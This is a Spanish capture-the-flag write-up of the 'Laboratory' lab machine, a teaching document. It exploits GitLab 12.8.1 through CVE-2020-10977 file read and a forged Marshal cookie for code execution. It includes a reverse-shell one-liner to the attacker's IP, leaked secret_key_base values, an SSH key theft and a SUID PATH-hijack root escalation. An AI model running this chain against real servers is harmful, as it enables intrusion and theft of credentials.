Laboratory
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. En el443hay una instancia de GitLab Community Edition 12.8.1. Esa versión es vulnerable a CVE-2020-10977: la APIUploadsRewriter, al mover un issue entre proyectos, copia ficheros referenciados con Markdown sin sanear path traversal, así que unproduce lectura arbitraria. Con eso se exfiltra/opt/gitlab/embedded/service/gitlab-rails/config/secrets.ymly se obtiene elsecret_key_base. Levantando un GitLab 12.8.1 idéntico en Docker localmente, se sobrescribe ese secret y se forja una cookieexperimentation_subject_idcon un objeto RubyMarshalque invocaERB(gadgetDeprecatedInstanceVariableProxy). El servidor la deserializa al recibirla y ejecuta el payload → reverse shell comogitdentro del contenedor. Desdegitlab-rails consolese eleva nuestro usuariojaimea admin del GitLab, lo que destapa un proyecto privado de dexter con suid_rsa. SSH comodextersaca al atacante del contenedor al host. Pararoot, el SUID/usr/local/bin/docker-securityllama achmodcon PATH relativo: unchmodfalso en$PATHy el SUID lanza un/bin/shcomo root.
Reconocimiento
Ping
Empezamos con un ping para confirmar que la máquina responde y mirar el TTL, que da una pista rápida del sistema operativo: valores cercanos a 64 suelen indicar Linux y cercanos a 128, Windows.
ping -c 1 10.10.10.216
64 bytes from 10.10.10.216: icmp_seq=1 ttl=63 time=107 msTTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.
Escaneo de puertos
Un barrido completo de los 65535 puertos TCP (-p-, sin resolución DNS ni ping con -n -Pn) localiza los abiertos; después, un -sCV dirigido sobre ellos detalla servicio, versión y scripts por defecto (primero descubrir, luego perfilar):
sudo nmap -p- --open --reason -n -Pn 10.10.10.216
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63extractPorts lee el fichero -oG del escaneo y deja la lista lista para el segundo comando:
extractPorts scan
Extracting information ...
IP Address: 10.10.10.216
Open ports: 22,80,443
Ports copied to clipboardSolo SSH y la pila web. El -sCV dirigido sobre esos tres puertos detalla las versiones:
nmap -p22,80,443 -sCV 10.10.10.216
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to https://laboratory.htb/
443/tcp open ssl/http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: The Laboratory
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htb
| Not valid before: 2020-07-05T10:39:28
|_Not valid after: 2024-03-03T10:39:28
Service Info: Host: laboratory.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernelDos datos salen de aquí. El 80 no sirve contenido propio: redirige a https://laboratory.htb/, así que hay que añadir el dominio a /etc/hosts para que el vhost resuelva. Y el certificado del 443 ya destapa, en la extensión SAN, un segundo nombre: git.laboratory.htb. El scripting por defecto de nmap regala el subdominio antes incluso de fuzzear.
nano /etc/hosts
cat !$
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.216 laboratory.htbCon laboratory.htb en /etc/hosts, la web principal es una página corporativa estática sin contenido aprovechable:

vhost desde el subdominio
Con wfuzz fuzzeando la cabecera Host (vhost fuzzing) aparece directamente un subdominio, git:
wfuzz -u https://laboratory.htb -H "Host: FUZZ.laboratory.htb" \
-w subdomains-top1million-110000.txt --hl=209
Cuando el fuzzing no da resultado (o como doble comprobación, que es el caso aquí: ya lo habíamos visto en el -sCV), el propio certificado SSL regala los subdominios en la extensión SAN (Subject Alternative Name). Merece la pena fijar el reflejo, porque en un HTTPS mal configurado el certificado es una fuente de nombres internos que no depende de acertar con el diccionario. El script ssl-cert de nmap lo expone aislado:
nmap --script ssl-cert -p443 10.10.10.216
| ssl-cert: Subject: commonName=laboratory.htb
| Subject Alternative Name: DNS:git.laboratory.htbEquivalente con OpenSSL puro (útil cuando nmap no está disponible):
openssl s_client -connect laboratory.htb:443 2>/dev/null \
| openssl x509 -noout -text | grep -E 'DNS|CN'
Issuer: CN=laboratory.htb
Subject: CN=laboratory.htb
DNS:git.laboratory.htbEl mismo dato se ve en el navegador inspeccionando el certificado (los SAN están bajo Subject Alt Names):

El subdominio se añade a la misma línea del /etc/hosts:
nano /etc/hosts
cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.10.216 laboratory.htb git.laboratory.htbCon eso, entrar al subdominio destapa el siguiente paso.
Fingerprinting con whatweb
Antes de tocar nada, un whatweb contra los dos vhosts para ver qué sirve cada uno:
whatweb https://laboratory.htb
whatweb https://git.laboratory.htb
https://laboratory.htb [200 OK] Apache[2.4.41], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)],
IP[10.10.10.216], JQuery, Script, Title[The Laboratory]
https://git.laboratory.htb [302 Found] Cookies[experimentation_subject_id], HTTPServer[nginx],
HttpOnly[experimentation_subject_id], IP[10.10.10.216],
RedirectLocation[http://git.laboratory.htb/users/sign_in], Strict-Transport-Security[max-age=31536000],
X-Frame-Options[DENY], nginx
https://git.laboratory.htb/users/sign_in [200 OK] Cookies[_gitlab_session,experimentation_subject_id],
HTTPServer[nginx], Title[Sign in · GitLab]Wappalyzer, desde el navegador, dibuja el mismo contraste con más detalle. En el dominio principal solo hay un Apache sobre Ubuntu con jQuery:

Y en el subdominio, una pila entera de aplicación: Ruby on Rails detrás de nginx, con Vue.js, Webpack y el propio GitLab identificado como producto.

El contraste entre los dos vhosts ya dice bastante: el sitio corporativo lo sirve Apache, mientras que git responde con nginx y el título Sign in · GitLab. Es decir, no son la misma aplicación detrás del mismo Apache, sino un GitLab (que empaqueta su propio nginx) publicado como vhost aparte.
Conviene fijarse en un detalle que parece decorativo y acabará siendo el vector final: entre las cookies que emite GitLab está experimentation_subject_id. Esa es exactamente la cookie que más adelante se forja con un objeto Ruby serializado para conseguir ejecución remota.
GitLab Community Edition 12.8.1
git.laboratory.htb aloja una instancia de GitLab. Para ver nada interno hace falta registrarse, pero el registro tiene un detalle: solo acepta correos del dominio @laboratory.htb. Un primer intento con un correo genérico lo rechaza:


Con un correo @laboratory.htb el registro pasa, y la versión queda visible en Help → About:

Versión muy concreta (no la más reciente). Una búsqueda rápida del producto y la versión apunta al reporte público de HackerOne #827052, que corresponde a CVE-2020-10977, exactamente el vector que vamos a usar:

Acceso al host
CVE-2020-10977 (UploadsRewriter, arbitrary file read)
El bug: al mover un issue entre proyectos, GitLab reescribe los enlaces a uploads embebidos en la descripción Markdown. La función UploadsRewriter toma el path tal cual, sin validar ../, lo que permite path traversal y leer cualquier fichero al que llegue el usuario git.

El payload va en la descripción del issue, con la sintaxis de imagen de Markdown. El token de 32 caracteres tras /uploads/ es un relleno: no tiene que existir, solo sirve para que la ruta encaje con el patrón que UploadsRewriter reconoce antes de aplicarle el traversal:
El procedimiento:
- Crear dos proyectos (
proyecto1,proyecto2) desdeProjects → New project.

El formulario solo pide nombre; la visibilidad se queda en Private porque el administrador ha deshabilitado el resto de opciones, lo que da igual: la vulnerabilidad no depende de ella.



- Crear un issue en
proyecto1con esa imagen Markdown en la descripción (Issues → New issue). El proyecto recién creado está vacío, y el menú lateral es el que da acceso a los issues:



- Mover el issue a
proyecto2(Move issue → proyecto2). - GitLab "copia" el fichero referenciado: al abrir el nuevo issue, el enlace apunta al
/etc/passwdreal, descargable.

El fichero descargado es el /etc/passwd completo de la máquina, lo que confirma la lectura arbitraria:

root:x:0:0:root:/root:/bin/bash
...
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/falseConfirmado que se lee /etc/passwd, el objetivo real es el secret_key_base del Rails que sirve GitLab. Está en:
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.ymlSe repite el mismo procedimiento creando un segundo issue, esta vez desde el listado de proyecto 2, donde ya figura el issue anterior (passwd) como prueba de que el primer paso funcionó:

Y con el payload apuntando esta vez a secrets.yml:

Y se mueve igual que antes para que GitLab copie el fichero:

El enlace del issue movido descarga el YAML completo:

El fichero cae en ~/Downloads, así que se mueve al directorio de trabajo de la máquina antes de seguir:
mv /home/krmena/Downloads/secrets.yml ../content
production:
db_key_base: 627773a77f567a5853a5c6652018f3f6e41d04aa53ed1e0df33c66b04ef0c38b88f402e0e73ba7676e93f1e54e425f74d59528fb35b170a1b9d5ce620bc11838
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
otp_key_base: db3432d6fa4c43e68bf7024f3c92fea4eeea1f6be1e6ebd6bb6e40e930f0933068810311dc9f0ec78196faa69e0aac01171d62f4e225d61e0b84263903fd06af
openid_connect_signing_key: |
-----BEGIN RSA PRIVATE KEY-----El valor que importa es secret_key_base, la clave con la que Rails firma las cookies de sesión. Teniéndola, podemos emitir cookies que GitLab aceptará como legítimas.
Marshal deserialization en la cookie de sesión
GitLab firma sus cookies con secret_key_base. Si controlamos esa clave, podemos forjar una cookie firmada con un payload Ruby Marshal que GitLab deserializará al recibirla. Como cookies_serializer en esa versión está en :hybrid, Rails acepta payloads Marshal viejos por compatibilidad, y la deserialización de objetos arbitrarios se traduce en RCE con el gadget clásico ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy + ERB.
El propio reporte de HackerOne documenta la segunda mitad de la cadena y trae la prueba de concepto: cambiar el secret_key_base de una instancia propia por el de la víctima, generar la cookie en una rails console y enviarla. La PoC original se limitaba a escribir un fichero (echo vakzz was here > /tmp/vakzz) para demostrar la ejecución sin causar daño; nosotros cambiamos ese comando por una reverse shell.
El comentario del reporte lo explica paso a paso y trae el código exacto de la rails console, que es justo el que se va a reutilizar cambiando el comando final:

request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo vakzz was here > /tmp/vakzz` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
Para fabricar la cookie con el algoritmo y formato exactos del GitLab vulnerable, lo más limpio es levantar localmente la misma versión y usar su gitlab-rails console. La forma de montarla no hay que adivinarla: la propia documentación de GitLab publica la imagen oficial.


docker run gitlab/gitlab-ee:12.8.1-ee.0
docker exec -it <container-id> /bin/bash
nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml # pegar el secret_key_base extraído
gitlab-ctl restartLa etiqueta exacta se saca del listado de tags de la imagen en Docker Hub. La página ofrece por defecto el docker pull de la versión actual, que no sirve: hay que editar el tag a mano y pedir la vulnerable, 12.8.1-ee.0.


Dentro del contenedor se mira primero el secret_key_base original (el que vamos a sustituir por el de la víctima):

Se reemplaza por el extraído de la víctima y se reinicia GitLab:


ok: run: gitaly: (pid 1944) 0s
ok: run: gitlab-workhorse: (pid 1975) 0s
ok: run: puma: (pid 2008) 1s
...Antes de forjar nada conviene comprobar que el cambio ha tomado efecto, que es donde se pierde más tiempo si falla: al abrir la consola y construir el objeto request, Rails imprime su configuración, y ahí deben aparecer el secret_key_base de la víctima (no el que traía el contenedor) y el serializador de cookies en :hybrid:

"action_dispatch.secret_key_base"=>"3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3"
"action_dispatch.cookies_serializer"=>:hybridLas dos condiciones del ataque quedan así verificadas sobre la propia réplica: firma con la clave de la víctima y acepta Marshal.
Con eso, dentro del gitlab-rails console se forja el payload:
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `bash -c 'bash -i >& /dev/tcp/10.10.16.6/443 0>&1'` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
La salida es una cadena BAhvOkBBY3Rpdm...--<firma_HMAC> lista para usarse como experimentation_subject_id. Con un listener a la escucha:
nc -nlvp 443se dispara enviando la cookie a cualquier endpoint autenticado del GitLab víctima:
curl -vvv -k 'https://git.laboratory.htb/users/sign_in' \
-b "experimentation_subject_id=<payload_base64>--<firma>"
La shell que llega es del usuario git dentro de un contenedor (Omnibus GitLab corre con docker). El siguiente paso es salir.
Docker breakout vía gitlab-rails console
El usuario git dentro del contenedor controla el GitLab. La forma menos vistosa de pivotar es elevar nuestro usuario jaime (el creado para registrarse) a admin desde el gitlab-rails console interno.
La propia consola confirma dónde estamos: el prompt es git@git (el contenedor se llama git) y la versión que reporta es la 12.8.1 FOSS de la víctima, no la 12.8.1-ee de nuestra réplica local. Primero se localiza el usuario:
User.find_by_username('jaime')GitLab: 12.8.1 (d18b43a5f5a) FOSS
GitLab Shell: 11.0.0
PostgreSQL: 10.12
Loading production environment (Rails 6.0.2)
irb(main):001:0> User.find_by_username('jaime')
=> #<User id:5 @jaime>
Existe y es el id:5. Se guarda en una variable para operar cómodamente sobre él y se le da el flag de administrador:
u = User.find_by_username('jaime')
u.admin = true
u.save!
Al recargar el GitLab web ya con sesión de jaime (ahora admin), el panel de administración lista todos los proyectos, incluidos los privados de otros usuarios. Entre ellos, SecureDocker de dexter:

El proyecto privado de dexter contiene una id_rsa:

chmod 600 id_rsa
ssh -i id_rsa dexter@10.10.10.216
La sesión queda en el host real, fuera del contenedor (la primera shell era git, el container; esta es dexter en laboratory). La flag de usuario es trivial:
cat user.txt
c1e8b653e1a0d623f5b7df38c5271643Escalada a root
SUID docker-security + PATH hijack
Buscando binarios SUID que no sean de la lista estándar:
find / -perm -4000 2>/dev/null | grep -v snap
/usr/local/bin/docker-securityltrace docker-security deja claro qué hace internamente:
system("chmod 700 /usr/bin/docker")
system("chmod 660 /var/run/docker.sock")El detalle clave: chmod se invoca sin ruta absoluta. system() usa sh -c "chmod ...", y sh resuelve chmod recorriendo el $PATH. Si el primer directorio del PATH contiene un fichero llamado chmod, lo ejecuta antes que /usr/bin/chmod. Como el binario tiene SUID root, lo que ejecute ese chmod falso corre como root. Es el clásico abuso de SUID por PATH hijack.
echo '/bin/sh' > chmod
chmod +x chmod
export PATH=/home/dexter:$PATH
docker-security
# id
uid=1000(dexter) gid=1000(dexter) euid=0(root) groups=1000(dexter)
# cat /root/root.txtCadena de ataque
nmap (22, 80, 443)
└─> ssl-cert SAN → git.laboratory.htb
└─> GitLab CE 12.8.1 → CVE-2020-10977 (UploadsRewriter file read)
├─> /etc/passwd (PoC)
└─> secrets.yml → secret_key_base
└─> Docker local con gitlab-ee:12.8.1-ee.0
└─> gitlab-rails console → cookie experimentation_subject_id
con Marshal(ERB + DeprecatedInstanceVariableProxy) → RCE
└─> reverse shell como `git` (dentro del container)
└─> rails console: User('jaime').admin = true
└─> proyecto privado de dexter → id_rsa
└─> ssh dexter@host (fuera del container) + user.txt
└─> SUID docker-security llama a `chmod` (PATH relativo)
└─> chmod falso = /bin/sh → root + root.txtLecciones aprendidas
- Cuando
wfuzz/gobusterno destapan vhosts en HTTPS, el certificado suele regalarlos en la extensión SAN.nmap --script ssl-certoopenssl s_client | x509 -textvalen lo mismo. - Saber qué quiere decir una versión en el banner es la mitad del trabajo: GitLab 12.8.1 → CVE-2020-10977, sin necesidad de fuzzear nada.
- Las vulnerabilidades en serializadores (
Marshal,pickle,BinaryFormatter, etc.) suelen requerir reproducir el entorno exacto del objetivo en local. Docker hace esto trivial: el atacante levanta una réplica de la misma versión, le inyecta el secreto extraído y forja el payload con sus propias herramientas internas. - Una reverse shell dentro de un container con
gitlab-rails consoleno necesita técnicas de breakout: escalar el rol del propio atacante en la aplicación (de usuario normal a admin del GitLab) abre acceso a artefactos del host (claves SSH, configs) que ya viven en volúmenes compartidos. - Un binario SUID que invoca otros binarios sin ruta absoluta es equivalente a darle root a quien controle el
$PATH. Comprobar siempre conltrace/strings, no asumir.